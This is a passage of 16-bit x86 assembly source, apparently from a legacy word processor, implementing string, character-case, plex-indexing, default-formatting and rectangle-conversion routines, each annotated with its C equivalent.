cmp [si.hpldrDrf],dx
jne PFE08
cmp [si.idrDrf],cx
jne PFE08
; pdrf->pdrfUsed = pdrfList;
mov [bx.pdrfUsedDrf],si
;#ifdef DEBUG
; pdrf->pdrfNext = vpdrfHeadUnused;
; vpdrfHeadUnused = pdrf;
;#endif /* DEBUG */
ifdef DEBUG
push [vpdrfHeadUnused]
pop [bx.pdrfNextDrf]
mov [vpdrfHeadUnused],bx
endif ;DEBUG
; return &pdrfList->dr;
lea ax,[si.drDrf]
jmp short PFE12
; }
; }
PFE10:
; bltbh(HpInPl(hpldr, idr), &pdrf->dr, sizeof(struct DR));
;LN_LpInPl takes hplFoo in dx and iFoo in cx to
;return lpFoo in es:di. bx, cx and si are not altered.
call LN_LpInPl
mov si,di
push es
pop ds
lea di,[bx.drDrf]
push ss
pop es
errnz <cbDrMin AND 1>
mov cx,cbDrMin SHR 1
rep movsw
push ss
pop ds
; pdrf->pdrfUsed = NULL;
mov [bx.pdrfUsedDrf],NULL
; pdrf->pdrfNext = vpdrfHead;
; vpdrfHead = pdrf;
mov cx,bx
xchg [vpdrfHead],cx
mov [bx.pdrfNextDrf],cx
; if ((*hpldr)->fExternal && pdrf->dr.hplcedl)
; {
cmp [bx.drDrf.hplcedlDr],0
je PFE11
mov si,[hpldr]
mov si,[si]
cmp [si.fExternalPldr],fFalse
je PFE11
; pdrf->pplcedl = &(pdrf->dr.plcedl);
; pdrf->dr.hplcedl = &(pdrf->pplcedl);
lea si,[bx.pplcedlDrf]
mov [bx.drDrf.hplcedlDr],si
lea cx,[bx.drDrf.plcedlDr]
mov [si],cx
; }
PFE11:
; return &pdrf->dr;
lea ax,[bx.drDrf]
PFE12:
test bptr ([wFlags]),maskFreeAfterFetchLocal
je PFE13
;LN_FreePdrf takes a pdrf in bx and performs FreePdrf(pdrf);
;bx is not altered.
push ax ;save pdr
call LN_FreePdrf
pop ax ;restore pdr
PFE13:
;}
cEnd
; Assert (pdrfList->wLast == wLastDrf);
; Assert (pdrfList != pdrf);
;Do these asserts with a call so as not to mess up short jumps
ifdef DEBUG
PFE14:
push ax
push bx
push cx
push dx
cmp [si.wLastDrf],0ABCDh
je PFE15
mov ax,midResn2
mov bx,1011 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
PFE15:
cmp si,bx
jne PFE16
mov ax,midResn2
mov bx,1012 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
PFE16:
pop dx
pop cx
pop bx
pop ax
ret
endif ;DEBUG
;-------------------------------------------------------------------------
; FreePdrf(pdrf)
;-------------------------------------------------------------------------
;EXPORT FreePdrf(pdrf)
;struct DRF *pdrf;
;{
; struct DR *pdr;
; %%Function:N_FreePdrf %%Owner:BRADV
PUBLIC N_FreePdrf
N_FreePdrf:
pop ax
pop dx
pop bx
push dx
push ax
push si ;save caller's si
push di ;save caller's di
;LN_FreePdrf takes a pdrf in bx and performs FreePdrf(pdrf);
;bx is not altered.
call LN_FreePdrf
pop di ;restore caller's di
pop si ;restore caller's si
db 0CBh ;far ret
;LN_FreePdrf takes a pdrf in bx and performs FreePdrf(pdrf);
;bx is not altered.
LN_FreePdrf:
; Assert (pdrf->wLast == wLastDrf);
; Debug (pdrf->wLast = 0);
; Assert (pdrf->pdrfUsed != NULL || vpdrfHead == pdrf);
ifdef DEBUG
push ax
push bx
push cx
push dx
cmp [bx.wLastDrf],0ABCDh
je FP01
mov ax,midResn2
mov bx,1013 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
FP01:
mov [bx.wLastDrf],0
cmp [bx.pdrfUsedDrf],NULL
jne FP02
cmp bx,[vpdrfHead]
je FP02
mov ax,midResn2
mov bx,1014 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
FP02:
; if (pdrf->pdrfUsed == NULL)
; Assert(vpdrfHead == pdrf);
;#ifdef DEBUG
; else
; {
; Assert(vpdrfHeadUnused == pdrf);
; vpdrfHeadUnused = pdrf->pdrfNext;
; }
;#endif /* DEBUG */
cmp [bx.pdrfUsedDrf],NULL
jne FP04
cmp bx,[vpdrfHead]
je FP03
mov ax,midResn2
mov bx,1015 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
FP03:
jmp short FP06
FP04:
cmp bx,[vpdrfHeadUnused]
je FP05
mov ax,midResn2
mov bx,1016 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
FP05:
mov ax,[bx.pdrfNextDrf]
mov [vpdrfHeadUnused],ax
FP06:
pop dx
pop cx
pop bx
pop ax
endif ;DEBUG
; pdr = (pdrf->pdrfUsed == NULL ? &pdrf->dr : &pdrf->pdrfUsed->dr);
; bltbh(pdr, HpInPl(pdrf->hpldr, pdrf->idr), sizeof(struct DR));
;LN_LpInPl takes hplFoo in dx and iFoo in cx to
;return lpFoo in es:di. bx, cx and si are not altered.
mov dx,[bx.hpldrDrf]
mov cx,[bx.idrDrf]
call LN_LpInPl
mov si,[bx.pdrfUsedDrf]
errnz <NULL>
or si,si
jne FP07
; if (pdrf->pdrfUsed == NULL)
; vpdrfHead = pdrf->pdrfNext;
mov si,[bx.pdrfNextDrf]
mov [vpdrfHead],si
mov si,bx
FP07:
add si,(drDrf)
errnz <cbDrMin AND 1>
mov cx,cbDrMin SHR 1
rep movsw
ifdef DEBUG
; Debug (pdrf->dr.hplcedl = NULL);
; Debug (pdrf->pplcedl = NULL);
mov [bx.drDrf.hplcedlDr],NULL
mov [bx.pplcedlDrf],NULL
endif ;DEBUG
;}
ret
;-------------------------------------------------------------------------
; PInPl(hpl, i)
;-------------------------------------------------------------------------
; %%Function:PInPl %%Owner:BRADV
PUBLIC PInPl
PInPl:
ifdef DEBUG
; Assert(!ppl->fExternal);
push ax
push bx
push cx
push dx
mov bx,sp
mov bx,[bx+14] ;/* hpl */
mov bx,[bx]
cmp [bx.fExternalPl],fFalse
je PIP01
mov ax,midResn2
mov bx,1031 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
PIP01:
pop dx
pop cx
pop bx
pop ax
endif ;DEBUG
;fall through
;-------------------------------------------------------------------------
; HpInPl(hplFoo, iFoo)
;-------------------------------------------------------------------------
;int HUGE *HpInPl(hplFoo, iFoo)
;struct PL **hplFoo;
;int iFoo;
;{
; struct PL *pplFoo = *hplFoo;
; char *rgFoo;
;
; Assert (iFoo >= 0 && iFoo < pplFoo->iMac);
; rgFoo = ((char *)pplFoo) + pplFoo->brgfoo;
; if (pplFoo->fExternal)
; hpFoo = ((char HUGE *)HpOfHq(*((HQ *)rgFoo)));
; else
; hpFoo = ((char HUGE *)rgFoo);
; return hpFoo + iFoo * pplFoo->cb;
;}
; %%Function:HpInPl %%Owner:BRADV
PUBLIC HpInPl
HpInPl:
pop ax
pop bx
pop cx
pop dx
push bx
push ax
push di ;save caller's di
call LN_LpInPl
xchg ax,di
pop di ;restore caller's di
db 0CBh ;far ret
;LN_LpInPl takes hplFoo in dx and iFoo in cx to
;return lpFoo in es:di. bx, cx and si are not altered.
LN_LpInPl:
mov di,dx
mov di,[di]
ifdef DEBUG
or cx,cx
jge LIP01
push ax
push bx
push cx
push dx
mov ax,midResn2
mov bx,1017 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
pop dx
pop cx
pop bx
pop ax
LIP01:
cmp cx,[di.iMacPl]
jl LIP02
push ax
push bx
push cx
push dx
mov ax,midResn2
mov bx,1018 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
pop dx
pop cx
pop bx
pop ax
LIP02:
endif ;DEBUG
mov dx,[di.fExternalPl]
mov ax,[di.cbPl]
add di,[di.brgfooPl]
or dx,dx
;LN_LpFromPossibleHq takes pFoo in di, and if the zero flag is
;set then converts pFoo into lpFoo in es:di. If the zero flag
;is reset then it assumes pFoo points to an hqFoo, and converts
;the hqFoo to an lpFoo in es:di. In both cases hpFoo is left
;in dx:di. Only dx, di and es are altered.
call LN_LpFromPossibleHq
push dx ;save sb
mul cx
add di,ax
pop dx ;restore sb
ret
;-------------------------------------------------------------------------
; CchSz(sz)
;-------------------------------------------------------------------------
; Returns length of sz, including trailing 0
; %%Function:CchSz %%Owner:BRADV
PUBLIC CchSz
CchSz:
pop cx
pop dx ;far return address in dx:cx
pop bx
push dx
push cx
;CchSzNoFrame performs CchSz(bx), and sets es to ds.
;bx, dx, si, di are not altered.
CchSzNoFrame:
push ds
pop es
push di
mov di,bx
mov al,0
mov cx,0FFFFh
repne scasb
xchg ax,di
sub ax,bx
pop di
db 0CBh ;far ret
;-------------------------------------------------------------------------
; CchCopySz(pch1, pch2)
;-------------------------------------------------------------------------
;/* ****
;* Description: Copies string at pch1 to pch2i, including null terminator.
;* Returns number of chars moved, excluding null terminator.
;** **** */
;int CchCopySz(pch1, pch2)
;register PCH pch1;
;register PCH pch2;
;{
; int cch = 0;
; while ((*pch2++ = *pch1++) != 0)
; cch++;
; return cch;
;} /* end of C c h C o p y S z */
; %%Function:CchCopySz %%Owner:BRADV
PUBLIC CchCopySz
CchCopySz:
pop ax
pop cx
pop dx
pop bx
push cx
push ax
;CchSzNoFrame performs CchSz(bx), and sets es to ds.
;bx, dx, si, di are not altered.
push cs
call CchSzNoFrame
mov cx,ax
push si
push di
mov si,bx
mov di,dx
rep movsb
dec ax
pop di
pop si
db 0CBh ;far ret
;-------------------------------------------------------------------------
; PchInSt(st, ch)
;-------------------------------------------------------------------------
;CHAR *PchInSt(st, ch)
;CHAR *st;
;int ch;
;{
; CHAR *pch, *pchEnd;
;
; for (pch = &st[1], pchEnd = &st[1] + st[0]; pch < pchEnd; pch++)
; {
; if (*pch == ch)
; return(pch);
; }
; return(NULL); /* character never found */
;}
; %%Function:PchInSt %%Owner:BRADV
PUBLIC PchInSt
PchInSt:
pop dx
pop cx
pop ax
pop bx
push cx
push dx
push ds
pop es
push di
mov di,bx
mov cl,[di]
xor ch,ch
inc di
repne scasb
xchg ax,di
pop di
jne PIS01
errnz <NULL>
dec ax
db 03Dh ;turns next "xor ax,ax" into "cmp ax,immediate"
PIS01:
xor ax,ax
db 0CBh ;far ret
maskfLowerLocal equ 1
maskfUpperLocal equ 2
maskfDigitLocal equ 4
;-------------------------------------------------------------------------
; FAlphaNum(ch)
;-------------------------------------------------------------------------
;/* F A L P H A N U M */
;FAlphaNum(ch)
;CHAR ch;
;{
; return FAlpha(ch) || FDigit(ch);
;}
; %%Function:FAlphaNum %%Owner:BRADV
PUBLIC FAlphaNum
FAlphaNum:
mov bl,maskfLowerLocal+maskfUpperLocal+maskfDigitLocal
db 03Dh ;turns next "mov bl,immediate" into "cmp ax,immediate"
;-------------------------------------------------------------------------
; FDigit(ch)
;-------------------------------------------------------------------------
;/* ****
;* Description: Returns TRUE if ch is a digit, FALSE otherwise.
;** **** */
;FDigit(ch)
;CHAR ch;
;{
; return((uns)(ch - '0') <= ('9' - '0'));
;}
; %%Function:FDigit %%Owner:BRADV
PUBLIC FDigit
FDigit:
mov bl,maskfDigitLocal
db 03Dh ;turns next "mov bl,immediate" into "cmp ax,immediate"
;-------------------------------------------------------------------------
; FAlpha(ch)
;-------------------------------------------------------------------------
;/* F A L P H A */
;/* ****
;* Description: Returns TRUE if ch is a letter, FALSE otherwise.
;* Note: DF and FF are treated as lowercase, even though they have no
;* corresponding uppercase.
;** **** */
;FAlpha(ch)
;CHAR ch;
;{
; return(FLower(ch) || FUpper(ch));
;}
; %%Function:FAlpha %%Owner:BRADV
PUBLIC FAlpha
FAlpha:
mov bl,maskfLowerLocal+maskfUpperLocal
db 03Dh ;turns next "mov bl,immediate" into "cmp ax,immediate"
;-------------------------------------------------------------------------
; FUpper(ch)
;-------------------------------------------------------------------------
;/* ****
;* Description: Returns TRUE if ch is an uppercase letter, FALSE otherwise.
;** **** */
;
;NATIVE FUpper(ch)
;CHAR ch;
;{
; return (((uns)(ch - 'A') <= ('Z' - 'A')) ||
; /* foreign */
; ((uns)(ch - 0x00C0) <= (0x00D6 - 0x00C0)) ||
; ((uns)(ch - 0x00D8) <= (0x00DE - 0x00D8)));
;}
; %%Function:FUpper %%Owner:BRADV
PUBLIC FUpper
FUpper:
mov bl,maskfUpperLocal
db 03Dh ;turns next "mov bl,immediate" into "cmp ax,immediate"
;-------------------------------------------------------------------------
; FLower(ch)
;-------------------------------------------------------------------------
;/* F L O W E R */
;/* ****
;* Description: Returns TRUE if ch is a lowercase letter, FALSE otherwise.
;* Note: even though DF and FF are lowercase, they have no
;* corresponding uppercase. They are included in the lowercase
;* set so they will appear as characters.
;** **** */
; /* this is not using ChUpper/ChLower because that would be very slow -
; you would generally need 2 calls to determine the case. Since the
; ANSI set is fairly immutable, we are doing it this way. (bz)
; */
;NATIVE FLower(ch)
;CHAR ch;
;{
; return (((uns)(ch - 'a') <= ('z' - 'a')) ||
; /* foreign */
; ((uns)(ch - 0x00DF) <= (0x00F6 - 0x00DF)) ||
; ((uns)(ch - 0x00F8) <= (0x00FF - 0x00F8)));
;}
; %%Function:FLower %%Owner:BRADV
PUBLIC FLower
FLower:
mov bl,maskfLowerLocal
FClassEngine:
pop cx
pop dx
pop ax
push dx
push cx
test bl,maskfLowerLocal
je FC01
; return (((uns)(ch - 'a') <= ('z' - 'a')) ||
sub al,'a'
cmp al,'z'-'a'+1
jc FC03
; /* foreign */
; ((uns)(ch - 0x00DF) <= (0x00F6 - 0x00DF)) ||
sub al,0DFh-'a'
cmp al,0F6h-0DFh+1
jc FC03
; ((uns)(ch - 0x00F8) <= (0x00FF - 0x00F8)));
sub al,0F8h-0DFh
cmp al,0FFh-0F8h+1
jc FC03
sub al,000h-0F8h
FC01:
test bl,maskfUpperLocal
je FC02
; return (((uns)(ch - 'A') <= ('Z' - 'A')) ||
sub al,'A'
cmp al,'Z'-'A'+1
jc FC03
; /* foreign */
; ((uns)(ch - 0x00C0) <= (0x00D6 - 0x00C0)) ||
sub al,0C0h-'A'
cmp al,0D6h-0C0h+1
jc FC03
; ((uns)(ch - 0x00D8) <= (0x00DE - 0x00D8)));
; ((uns)(ch - 0x00F8) <= (0x00FF - 0x00F8)));
sub al,0D8h-0C0h
cmp al,0DEh-0D8h+1
jc FC03
sub al,000h-0D8h
FC02:
test bl,maskfDigitLocal
je FC03
; return((uns)(ch - '0') <= ('9' - '0'));
sub al,'0'
cmp al,'9'-'0'+1
FC03:
sbb ax,ax
db 0CBh ;far ret
;-------------------------------------------------------------------------
; PrcSet( prc, xpLeft, ypTop, xpRight, ypBottom )
;-------------------------------------------------------------------------
;struct RC *PrcSet( prc, xpLeft, ypTop, xpRight, ypBottom )
;struct RC *prc;
;{
; prc->xpLeft = xpLeft;
; prc->xpRight = xpRight;
; prc->ypTop = ypTop;
; prc->ypBottom = ypBottom;
;
; return prc;
;}
; %%Function:PrcSet %%Owner:BRADV
PUBLIC PrcSet
PrcSet:
;LN_StackAdjust is a helper routine to reduce the size of routines
;in resn.asm. It takes the number of words of arguments to
;the routine minus one in the byte following the call to LN_StackAdjust.
;It then moves the far return address and si and di to above the
;arguments, moves the top argument into bx, and puts the other arguments
;below the saved si and di. This allows the use of short pop register
;instructions to access arguments passed to the caller of LN_StackAdjust.
;ax, bx, cx, dx are altered.
call LN_StackAdjust
db 4
pop [bx.ypBottomRc]
pop [bx.xpRightRc]
pop [bx.ypTopRc]
pop [bx.xpLeftRc]
xchg ax,bx
pop di
pop si
db 0CBh ;far ret
;-------------------------------------------------------------------------
; FNeNcRgch(pch1, pch2, cch)
;-------------------------------------------------------------------------
;/* F N E N C R G C H */
;/* case insensitive rgch compare */
;FNeNcRgch(pch1, pch2, cch)
;CHAR *pch1, *pch2;
;int cch;
;{
; while(cch--)
; if (ChUpperLookup(*pch1++) != ChUpperLookup(*pch2++))
; return fTrue;
; return fFalse;
;}
; %%Function:FNeNcRgch %%Owner:BRADV
PUBLIC FNeNcRgch
FNeNcRgch:
;LN_StackAdjust is a helper routine to reduce the size of routines
;in resn.asm. It takes the number of words of arguments to
;the routine minus one in the byte following the call to LN_StackAdjust.
;It then moves the far return address and si and di to above the
;arguments, moves the top argument into bx, and puts the other arguments
;below the saved si and di. This allows the use of short pop register
;instructions to access arguments passed to the caller of LN_StackAdjust.
;ax, bx, cx, dx are altered.
call LN_StackAdjust
db 2
mov si,bx
pop cx
pop di
push wptr ([vitr.fFrenchItr])
mov [vitr.fFrenchItr],fTrue ;Simulate ChUpperLookup
jmp short FNNE03
;-------------------------------------------------------------------------
; FNeNcSz(sz1, sz2)
;-------------------------------------------------------------------------
;/* F N E N C S Z */
;/* case insensitive string compare */
;EXPORT FNeNcSz(sz1, sz2)
;CHAR *sz1, *sz2;
;{
; int cch = CchSz(sz1)-1;
; if (cch != CchSz(sz2)-1)
; return fTrue;
; return FNeNcRgch(sz1, sz2, cch);
;}
; %%Function:FNeNcSz %%Owner:BRADV
PUBLIC FNeNcSz
FNeNcSz:
db 0A8h ;turns next "stc" into "test al,immediate"
;also clears the carry flag
;-------------------------------------------------------------------------
; FNeNcSt(st1, st2)
;-------------------------------------------------------------------------
;/* F N E N C S T */
;/* case insensitive string compare */
;FNeNcSt(st1, st2)
;CHAR *st1, *st2;
;{
; int cch = *st1++;
; if (cch != *st2++)
; return fTrue;
; return FNeNcRgch(st1, st2, cch);
;}
; %%Function:FNeNcSt %%Owner:BRADV
PUBLIC FNeNcSt
FNeNcSt:
stc
FNeNcEngine:
pop ax
pop dx
pop cx
pop bx
push dx
push ax
push si
push di
push wptr ([vitr.fFrenchItr])
mov [vitr.fFrenchItr],fTrue ;Simulate ChUpperLookup
mov si,bx
mov di,cx
jc FNNE01
;CchSzNoFrame performs CchSz(bx), and sets es to ds.
;bx, dx, si, di are not altered.
push cs
call CchSzNoFrame
dec ax
push ax
mov bx,di
;CchSzNoFrame performs CchSz(bx), and sets es to ds.
;bx, dx, si, di are not altered.
push cs
call CchSzNoFrame
dec ax
pop cx
cmp ax,cx
jmp short FNNE02
FNNE01:
lodsb
mov cl,[di]
inc di
xor ch,ch
cmp al,cl
FNNE02:
jne FNNE05
FNNE03:
jcxz FNNE06
FNNE04:
;LN_ChUpper performs ChUpper(al). Only al and bx are altered.
lodsb
call LN_ChUpper
mov ah,al
mov al,[di]
inc di
;LN_ChUpper performs ChUpper(al). Only al and bx are altered.
call LN_ChUpper
cmp al,ah
loope FNNE04
je FNNE06
FNNE05:
db 0B8h ;turns next "xor ax,ax" into "mov ax,immediate"
FNNE06:
errnz <fFalse>
xor ax,ax
pop wptr ([vitr.fFrenchItr])
pop di
pop si
db 0CBh ;far ret
;-------------------------------------------------------------------------
; QszUpper(pch)
;-------------------------------------------------------------------------
;/* Q S Z U P P E R */
;/* upper case conversion using international rules (received from jurgenl 10-10-88 bz) */
;EXPORT QszUpper(pch)
;CHAR *pch;
;{
; for (; *pch; pch++)
; *pch = ChUpper(*pch);
;}
; %%Function:QszUpper %%Owner:BRADV
PUBLIC QszUpper
QszUpper:
pop cx
pop dx
pop bx
push dx
push cx
jmp short QU02
QU01:
push bx
;LN_ChUpper performs ChUpper(al). Only al and bx are altered.
call LN_ChUpper
pop bx
mov [bx],al
inc bx
QU02:
mov al,[bx]
or al,al
jne QU01
db 0CBh ;far ret
chFirstUpperTbl = 224
;#define chFirstUpperTbl (224)
;/* French upper case mapping table - only chars >= E0 (224) are mapped */
;csconst CHAR mpchupFrench[] = {
;/* E0 E1 E2 E3 E4 E5 E6 E7 */
; ch(65), ch(65), ch(65), ch(195), ch(196), ch(197), ch(198), ch(199),
;/* E8 E9 EA EB EC ED EE EF */
; ch(69), ch(69), ch(69), ch(69), ch(73), ch(73), ch(73), ch(73),
;/* F0 F1 F2 F3 F4 F5 F6 F7 */
; ch(208), ch(209), ch(79), ch(79), ch(79), ch(213), ch(214), ch(247),
;/* F8 F9 FA FB FC FD FE FF */
; ch(216), ch(85), ch(85), ch(85), ch(220), ch(221), ch(222), ch(255)
; };
mpchupFrench:
db 65,65,65,195,196,197,198,199
db 69,69,69,69,73,73,73,73
db 208,209,79,79,79,213,214,247
db 216,85,85,85,220,221,222,255
;-------------------------------------------------------------------------
; ChUpper(ch)
;-------------------------------------------------------------------------
; %%Function:ChUpper %%Owner:BRADV
PUBLIC ChUpper
ChUpper:
pop cx
pop dx
pop ax
push dx
push cx
;LN_ChUpper performs ChUpper(al). Only al and bx are altered.
call LN_ChUpper
db 0CBh ;far ret
;/* C H U P P E R */
;/* upper case conversion using international rules (received from jurgenl 10-10-88 bz) */
;EXPORT ChUpper(ch)
;int ch;
;{
; if ((uns)(ch - 'a') <= ('z' - 'a'))
; return (ch - ('a' - 'A'));
;LN_ChUpper performs ChUpper(al). Only al and bx are altered.
LN_ChUpper:
ifdef DEBUG
mov bx,[wFillBlock]
endif ;DEBUG
cmp al,'a'
jb CU01
cmp al,'z'
ja CU01
sub al,'a' - 'A'
CU01:
; else if (ch >= chFirstUpperTbl) /* intl special chars */
; {
cmp al,chFirstUpperTbl
jae CU02
ret
CU02:
; if (!vitr.fFrench)
; return ((ch == 247 || ch == 255) ? ch : ch - 32);
cmp [vitr.fFrenchItr],fFalse
jne CU04
cmp al,247
je CU03
cmp al,255
je CU03
sub al,32
CU03:
ret
; else
; return (mpchupFrench[ch - chFirstUpperTbl]);
CU04:
mov bx,offset [mpchupFrench - chFirstUpperTbl]
xlat cs:[bx]
ret
; }
; else
; return (ch);
;}
;-------------------------------------------------------------------------
; StandardChp(pchp)
;-------------------------------------------------------------------------
;/* S T A N D A R D C H P */
;/* creates most basic chp */
;NATIVE StandardChp(pchp)
;struct CHP *pchp;
;{
; SetWords(pchp, 0, cwCHP);
; pchp->hps = hpsDefault;
;}
;-------------------------------------------------------------------------
; StandardPap(ppap)
;-------------------------------------------------------------------------
;/* S T A N D A R D P A P */
;/* creates most basic pap */
;NATIVE StandardPap(ppap)
;struct PAP *ppap;
;{
; SetWords(ppap, 0, cwPAPBase);
;}
;-------------------------------------------------------------------------
; StandardSep(psep)
;-------------------------------------------------------------------------
;/* S T A N D A R D S E P */
;/* creates most basic sep */
;NATIVE StandardSep(psep)
;struct SEP *psep;
;{
;#define dxaCm 567
; SetWords(psep, 0, cwSEP);
; Mac( psep->dyaPgn = psep->dxaPgn = 36 * dyaPoint );
; if (vitr.fMetric)
; psep->dxaColumns = psep->dyaHdrTop = psep->dyaHdrBottom = NMultDiv(dxaCm, 5, 4);
; else
; psep->dxaColumns = psep->dyaHdrTop = psep->dyaHdrBottom = dxaInch / 2;
; /* psep->dxaColumnWidth = undefined */
; psep->bkc = bkcNewPage;
; psep->fEndnote = fTrue;
;}
dxaCm = 567
; %%Function:StandardChp %%Owner:BRADV
PUBLIC StandardChp
StandardChp:
errnz <cbChpMin AND 1>
mov cx,cbChpMin SHR 1
jmp short StandardStruct
; %%Function:StandardPap %%Owner:BRADV
PUBLIC StandardPap
StandardPap:
errnz <cbPapBase AND 1>
mov cx,cbPapBase SHR 1
jmp short StandardStruct
; %%Function:StandardSep %%Owner:BRADV
PUBLIC StandardSep
StandardSep:
errnz <cbSepMin AND 1>
mov cx,cbSepMin SHR 1
StandardStruct:
pop dx
pop bx
pop ax ;pstruct in ax
push bx
push dx
mov dx,cx ;save cw of struct
push di ;save caller's di
xchg ax,di
xor ax,ax
push ds
pop es
rep stosw
ife cbPapBase-cbChpMin
.err
endif
ife cbPapBase-cbSepMin
.err
endif
cmp dx,cbPapBase SHR 1
je SS02
ife cbChpMin-cbSepMin
.err
endif
cmp dx,cbChpMin SHR 1
jne SS01
; pchp->hps = hpsDefault;
mov [di.hpsChp - cbChpMin],hpsDefault
jmp short SS02
SS01:
; if (vitr.fMetric)
; psep->dxaColumns = psep->dyaHdrTop = psep->dyaHdrBottom = NMultDiv(5, dxaCm, 4);
; else
; psep->dxaColumns = psep->dyaHdrTop = psep->dyaHdrBottom = dxaInch / 2;
mov ax, dxaInch / 2
cmp [vitr.fMetricItr], fFalse
jz SS011
mov ax, 709 ; /* == NMultDiv(5, dxaCm, 4) */
SS011:
mov [di.dyaHdrTopSep - cbSepMin], ax
mov [di.dyaHdrBottomSep - cbSepMin], ax
mov [di.dxaColumnsSep - cbSepMin], ax
; psep->bkc = bkcNewPage;
mov [di.bkcSep - cbSepMin],bkcNewPage
; psep->fEndnote = fTrue;
mov [di.fEndnoteSep - cbSepMin],fTrue
SS02:
pop di ;restore caller's di
db 0CBh ;far ret
;-------------------------------------------------------------------------
; PmwdWw(ww)
;-------------------------------------------------------------------------
;/* P M W D W W */
;NATIVE struct MWD *PmwdWw(ww)
;{
;#ifdef DEBUG
; int mw;
; struct WWD **hwwd;
; struct MWD **hmwd;
; Assert(ww > wwNil && ww < wwMax && (hwwd = mpwwhwwd[ww]));
; mw = (*hwwd)->mw;
; Assert(mw > mwNil && mw < mwMax && (hmwd = mpmwhmwd[mw]));
; return *hmwd;
;#endif
; return *mpmwhmwd[(*mpwwhwwd[ww])->mw];
;}
; %%Function:N_PmwdWw %%Owner:BRADV
PUBLIC N_PmwdWw
N_PmwdWw:
mov cl,1
db 03Dh ;turns next "xor cx,cx" into "cmp ax,immediate"
;-------------------------------------------------------------------------
; HwwdWw(ww)
;-------------------------------------------------------------------------
;/* H W W D W W */
;NATIVE struct WWD **HwwdWw(ww)
;{
; Assert(ww > wwNil && ww < wwMax && mpwwhwwd[ww]);
; return mpwwhwwd[ww];
;}
; %%Function:N_HwwdWw %%Owner:BRADV
PUBLIC N_HwwdWw
N_HwwdWw:
xor cx,cx
pop ax
pop dx
pop bx
push dx
push ax
ifdef DEBUG
cmp bx,wwNil
jle PW01
cmp bx,wwMax
jge PW01
endif ;DEBUG
shl bx,1
mov ax,[bx.mpwwhwwd]
ifdef DEBUG
or ax,ax
jne PW02
PW01:
inc bp
push bp
mov bp,sp
push ds
push ax
push bx
push cx
push dx
mov ax,midResn2
mov bx,1019
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
pop ds
pop bp
dec bp
PW02:
endif ;DEBUG
jcxz PW05
xchg ax,bx
mov bx,[bx]
mov bx,[bx.mwWwd]
ifdef DEBUG
cmp bx,mwNil
jle PW03
cmp bx,mwMax
jge PW03
endif ;DEBUG
shl bx,1
mov bx,[bx.mpmwhmwd]
ifdef DEBUG
or bx,bx
jne PW04
PW03:
inc bp
push bp
mov bp,sp
push ds
push ax
push bx
push cx
push dx
mov ax,midResn2
mov bx,1020
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
pop ds
pop bp
dec bp
PW04:
endif ;DEBUG
mov ax,[bx]
PW05:
db 0CBh ;far ret
;-------------------------------------------------------------------------
; DrcToRc(pdrc, prc)
;-------------------------------------------------------------------------
;/* D R C T O R C - convert from drc-style rect into a rc-style rect */
;NATIVE DrcToRc(pdrc, prc)
;struct DRC *pdrc;
;struct RC *prc;
;{
; prc->ptTopLeft = pdrc->ptTopLeft;
; prc->ypBottom = prc->ypTop + pdrc->dyp;
; prc->xpRight = prc->xpLeft + pdrc->dxp;
;}
; %%Function:DrcToRc %%Owner:BRADV
PUBLIC DrcToRc
DrcToRc:
db 0A8h ;turns next "stc" into "test al,immediate"
;also clears the carry flag
;-------------------------------------------------------------------------
; RcToDrc(prc, pdrc)
;-------------------------------------------------------------------------
;/* R C T O D R C - convert from rc-style rect into a drc-style rect */
;NATIVE RcToDrc(prc, pdrc)
;struct RC *prc;
;struct DRC *pdrc;
;{
; pdrc->ptTopLeft = prc->ptTopLeft;
; pdrc->dxp = prc->xpRight - prc->xpLeft;
; pdrc->dyp = prc->ypBottom - prc->ypTop;
;}
PUBLIC RcToDrc
RcToDrc:
stc
pop dx
pop cx ;return address in dx:cx
pop bx
pop ax
push cx
push dx
push ds
pop es
push si
push di
xchg ax,si
mov di,bx
errnz <(xpDrc) - 0> ;if DrcToRc
errnz <(xpLeftRc) - 0> ;if RcToDrc
lodsw
errnz <(xpLeftRc) - 0> ;if DrcToRc
errnz <(xpDrc) - 0> ;if RcToDrc
stosw
xchg ax,cx
errnz <(ypDrc) - 2> ;if DrcToRc
errnz <(ypTopRc) - 2> ;if RcToDrc
lodsw
errnz <(ypTopRc) - 2> ;if DrcToRc
errnz <(ypDrc) - 2> ;if RcToDrc
stosw
xchg ax,dx
jnc DTRRTD01
neg cx ;negate xpLeftRc
neg dx ;negate ypTopRc
DTRRTD01:
errnz <(dxpDrc) - 4> ;if DrcToRc
errnz <(xpRightRc) - 4> ;if RcToDrc
lodsw
add ax,cx
errnz <(xpRightRc) - 4> ;if DrcToRc
errnz <(dxpDrc) - 4> ;if RcToDrc
stosw
errnz <(dypDrc) - 6> ;if DrcToRc
errnz <(ypBottomRc) - 6> ;if RcToDrc
lodsw
add ax,dx
errnz <(ypBottomRc) - 6> ;if DrcToRc
errnz <(dypDrc) - 6> ;if RcToDrc
stosw
pop di
pop si
db 0CBh ;far ret
bitIdrIsNeg1 equ 001h
bitCallPtOrigin equ 002h
bitUseVHwwdOrigin equ 004h
bitNegate equ 008h
bitFromDrc equ 010h
bitReturnY equ 020h
;/* R C L T O R C W - converts rect in frame coord. to rect in window coord */
;NATIVE RclToRcw(hpldr, prcl, prcw)
;struct PLDR **hpldr;
;struct RC *prcl;
;struct RC *prcw;
;{
; struct WWD *pwwd;
; int dxlToXw;
; int dylToYw;
; struct PT pt;
;
; pt = PtOrigin(hpldr, -1);
;
; pwwd = *vhwwdOrigin;
; dxlToXw = pwwd->rcePage.xeLeft + pwwd->xwMin + pt.xp;
; dylToYw = pwwd->rcePage.yeTop + pwwd->ywMin + pt.yp;
;
; prcw->xwLeft = prcl->xlLeft + dxlToXw;
; prcw->xwRight = prcl->xlRight + dxlToXw;
; prcw->ywTop = prcl->ylTop + dylToYw;
; prcw->ywBottom = prcl->ylBottom + dylToYw;
;}
; %%Function:RclToRcw %%Owner:BRADV
PUBLIC RclToRcw
RclToRcw:
